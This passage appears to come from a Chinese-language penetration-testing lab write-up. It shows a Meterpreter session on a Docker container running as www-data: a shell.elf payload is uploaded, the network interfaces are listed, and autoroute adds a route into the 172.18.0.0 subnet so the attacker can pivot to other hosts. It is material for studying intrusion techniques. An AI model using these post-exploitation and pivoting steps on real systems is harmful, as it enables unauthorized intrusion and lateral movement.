> cd /tmp meterpreter > upload /tmp/shell.elf [*] uploading : /tmp/shell.elf -> shell.elf [*] Uploaded -1.00 B of 1.05 MiB (0.0%): /tmp/shell.elf -> shell.elf [*] uploaded : /tmp/shell.elf -> shell.elf ``` ![image-20220911154827574](../../.gitbook/assets/image-20220911154827574.png) ``` meterpreter > getuid Server username: www-data @ 8f4bca8ef241 (uid=33, gid=33, euid=33, egid=33) meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 65536 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 Interface 5 ============ Name : eth0 Hardware MAC : 02:42:ac:12:00:02 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 172.18.0.2 IPv4 Netmask : 255.255.0.0 ``` docker 容器添加了到子网的路由 ``` meterpreter > run autoroute -s 172.18.0.0/24 ``` ## easy
sec-knowleage